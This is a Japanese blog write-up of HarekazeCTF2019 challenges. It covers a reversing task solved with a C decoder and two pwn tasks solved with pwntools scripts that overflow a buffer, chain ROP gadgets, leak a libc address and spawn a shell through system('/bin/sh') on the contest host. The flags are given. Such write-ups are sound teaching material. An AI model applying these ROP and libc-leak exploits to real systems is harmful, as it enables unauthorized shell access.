眠いので寝ます

お勉強のメモを置いていこうと思いまふ

HarekazeCTF2019 writeup

HarekazeCTF2019のwriteupを少し。

Rev

scramble (100pt)

バイナリファイルが配られる

$file scramble

scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped

gdb

gdb$pdisas main
   0x0000000000000680 <+0>:	push   rbx
   0x0000000000000681 <+1>:	lea    rsi,[rip+0x36c]        # 0x9f4
   0x0000000000000688 <+8>:	mov    edi,0x1
   0x000000000000068d <+13>:	sub    rsp,0x30
   0x0000000000000691 <+17>:	mov    rax,QWORD PTR fs:0x28
   0x000000000000069a <+26>:	mov    QWORD PTR [rsp+0x28],rax
   0x000000000000069f <+31>:	xor    eax,eax
   0x00000000000006a1 <+33>:	mov    rbx,rsp
   0x00000000000006a4 <+36>:	call   0x650 <__printf_chk@plt>
   0x00000000000006a9 <+41>:	lea    rdi,[rip+0x34d]        # 0x9fd
   0x00000000000006b0 <+48>:	mov    rsi,rbx
   0x00000000000006b3 <+51>:	xor    eax,eax
   0x00000000000006b5 <+53>:	call   0x660 <__isoc99_scanf@plt>
   0x00000000000006ba <+58>:	mov    rdi,rbx
   0x00000000000006bd <+61>:	call   0x860 <scramble>
   0x00000000000006c2 <+66>:	mov    rdx,QWORD PTR [rsp+0x8]
   0x00000000000006c7 <+71>:	mov    rax,QWORD PTR [rsp]
   0x00000000000006cb <+75>:	xor    rdx,QWORD PTR [rip+0x200956]        # 0x201028 <encrypted+8>
   0x00000000000006d2 <+82>:	xor    rax,QWORD PTR [rip+0x200947]        # 0x201020 <encrypted>
   0x00000000000006d9 <+89>:	or     rdx,rax
   0x00000000000006dc <+92>:	jne    0x6fb <main+123>
   0x00000000000006de <+94>:	mov    rdx,QWORD PTR [rsp+0x18]
   0x00000000000006e3 <+99>:	mov    rax,QWORD PTR [rsp+0x10]
   0x00000000000006e8 <+104>:	xor    rdx,QWORD PTR [rip+0x200949]        # 0x201038 <encrypted+24>
   0x00000000000006ef <+111>:	xor    rax,QWORD PTR [rip+0x20093a]        # 0x201030 <encrypted+16>
   0x00000000000006f6 <+118>:	or     rdx,rax
   0x00000000000006f9 <+121>:	je     0x71f <main+159>
   0x00000000000006fb <+123>:	lea    rdi,[rip+0x309]        # 0xa0b
   0x0000000000000702 <+130>:	call   0x630 <puts@plt>
   0x0000000000000707 <+135>:	xor    eax,eax
   0x0000000000000709 <+137>:	mov    rcx,QWORD PTR [rsp+0x28]
   0x000000000000070e <+142>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000000717 <+151>:	jne    0x745 <main+197>
   0x0000000000000719 <+153>:	add    rsp,0x30
   0x000000000000071d <+157>:	pop    rbx
   0x000000000000071e <+158>:	ret    
   0x000000000000071f <+159>:	mov    eax,DWORD PTR [rip+0x20091b]        # 0x201040 <encrypted+32>
   0x0000000000000725 <+165>:	cmp    DWORD PTR [rbx+0x20],eax
   0x0000000000000728 <+168>:	jne    0x6fb <main+123>
   0x000000000000072a <+170>:	movzx  eax,WORD PTR [rip+0x200913]        # 0x201044 <encrypted+36>
   0x0000000000000731 <+177>:	cmp    WORD PTR [rbx+0x24],ax
   0x0000000000000735 <+181>:	jne    0x6fb <main+123>
   0x0000000000000737 <+183>:	lea    rdi,[rip+0x2c4]        # 0xa02
   0x000000000000073e <+190>:	call   0x630 <puts@plt>
   0x0000000000000743 <+195>:	jmp    0x707 <main+135>
   0x0000000000000745 <+197>:	call   0x640 <__stack_chk_fail@plt>

scanf("%38s", )で38文字分の入力をscramble関数の引数に渡している。おそらくその関数がエンコードしてencryptedというシンボル名から始まるデータと何回かに分けて比較している。

方針としてはrevの100pt問題でそんなに難しくなさそうなので、angrでスクリプトを書いて見たが、まだangrがうまく使いこなせなく、解けず。仕方ないのでscramble関数を読んで見るが、レジスタも多用していて、かなり読みづらい。なのでghidraのデコンパイル機能を使って見ることに。少しghidraは触ったことがあったので良かった。

f:id:kam1tsur3:20190519183024p:plain

おそらくあまり参考にならない画像。てか参考にしないほうがいい。
変数の名前を自分で変えたりしたが、あまりデコンパイラ使って解析をしたことがなかったので、名前のつけ方がナンセンスすぎた。input[]などと配列っぽく名付けてしまったために、その値が動的に変化するものだと自分でも勘違いしてしまい、かなりデコードするコードを書くのに手間がかかった。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

char encrypted[38] = {0x1f, 0x7c, 0x2c, 0x46, 0x2f, 0x44, 0x02, 0x0e,
                      0x6c, 0x29, 0x2a, 0x73, 0x79, 0x31, 0x04, 0x1b,
                      0x50, 0x6e, 0x6b, 0x6e, 0x34, 0x3d, 0x27, 0x77,
                      0x7a, 0x6d, 0x58, 0x12, 0x39, 0x6c, 0x2f, 0x7f,
                      0x23, 0x0b, 0x2c, 0x5a, 0x77, 0x3d};
int table[1064/4];
int main(){
    int i;
   
    int fd = open("./scramble", O_RDONLY);
    if(fd < 0){
        printf("open error\n");
        exit(1);
    }

    lseek(fd, 0x1060, 0);
    for(i = 0; i < 1064/4; i++){
        tmp = 0;
        read(fd, &table[i], 4);
    }

    char flag1, flag2;
    unsigned int var2, var3;

    for(i = 0x10a-1; i >= 0;i-- ){
        var2 = 1 << (i%7);
        var3 = 1 << (table[i]%7);
        if(encrypted[table[i]/7] & var3)flag1 = 1;
        else
            flag1 = 0;
        if(encrypted[i/7] & var2)flag2 = 1;
        else flag2 = 0;

        if(flag1)
            encrypted[i/7] |= var2;
        else
            encrypted[i/7] &= ~var2;

        if(flag2)
            encrypted[table[i]/7] |= var3;
        else
            encrypted[table[i]/7] &= ~var3;
    }

    printf("%s\n", encrypted);
    return 0;
}

FLAG:HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}

Pwn

Baby ROP(100pt)

問題文
The program is running on Ubuntu 16.04.

静的解析

$file babyrop

babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

$checksec.sh --file ./babyrop

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

省略するがgdbで見るとbof脆弱性。問題バイナリ内にsystem関数のpltと/bin/shの文字列があったので、それを利用してropする。またrpでpop rdiのガジェットを探す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "problem.harekaze.com"
PORT = 20001
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop')

bufsize = 0x10 + 8
system_plt = 0x400490
rdi_ret = 0x400683
binsh = 0x601048

payload = "A"*bufsize
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(system_plt)

conn.recvuntil('name?')
conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}

Baby ROP2(200pt)

問題バイナリとlibcが配布される。

静的解析

$file babyrop2

babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped

$checksec.sh --file ./babyrop2

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./babyrop2

またしてもbof脆弱性。問題文の通り。しかし、先ほどと違ってsystem@pltはなく、/bin/shの文字列のバイナリ内にはない。

方針はprintf("%s", setvbuf@got)にreturnするように引数をセットして、libcのベースを求めつつ、その後main関数にreturnするようにする。
二回目のmain関数で求めたlibcのベースから計算したsystemのアドレスとlibc内の/bin/shのアドレスを使用してsystem("/bin/sh")を呼び出す

コードとても汚くて、一連の流れを関数にしてやったほうがいいとは思ったんだが、そんなに長くもならそうなので愚直に書いた。許してください。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "problem.harekaze.com"
PORT = 20005 
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./babyrop2')

printf_plt = 0x4004f0
setvbuf_got = 0x601030
main_addr = 0x400636

buf_size = 0x20+8

#in libc.so.6
binsh_off = 0x18cd57
system_off = 0x45390 
setvbuf_off = 0x6fe70

rdi_ret = 0x400733
rsi_r15_ret = 0x400731

ps = 0x400770 # strings including "%s"

payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(ps)
payload += p64(rsi_r15_ret)
payload += p64(setvbuf_got)
payload += p64(0)
payload += p64(printf_plt)
payload += p64(main_addr)

conn.recvuntil('name? ')
conn.sendline(payload)
conn.recvline()
info = conn.recvline()
setvbuf_libc = info.split(", ")[1].split("!")[0]

setvbuf_libc = u64(setvbuf_libc + "\x00"*(8-len(setvbuf_libc)))
libc_base = setvbuf_libc - setvbuf_off
system_libc = libc_base + system_off
binsh_libc = libc_base + binsh_off

conn.recvuntil('name? ')
payload = "A"*buf_size
payload += p64(rdi_ret)
payload += p64(binsh_libc)
payload += p64(system_libc)

conn.sendline(payload)

conn.interactive()

FLAG:HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}

ん、use bss segmentか。他の回答としてはread関数にreturnしてbss領域の固定番地に/bin/shを書き込んでそれを使うってのもありそう。まああんまり変わらないけど。

まとめ

開催期間時間があまり割けず、これ以外の問題も少し見たんだが、時間がこれよりかかりそうだと思いじっくりと考えることができなかった。時間がたっぷりあればあまり解かれていないpwnの問題とかも挑戦して見たかった(解けるとは言っていない)。

Harekazeさん開催ありがとうございました。とても楽しかった。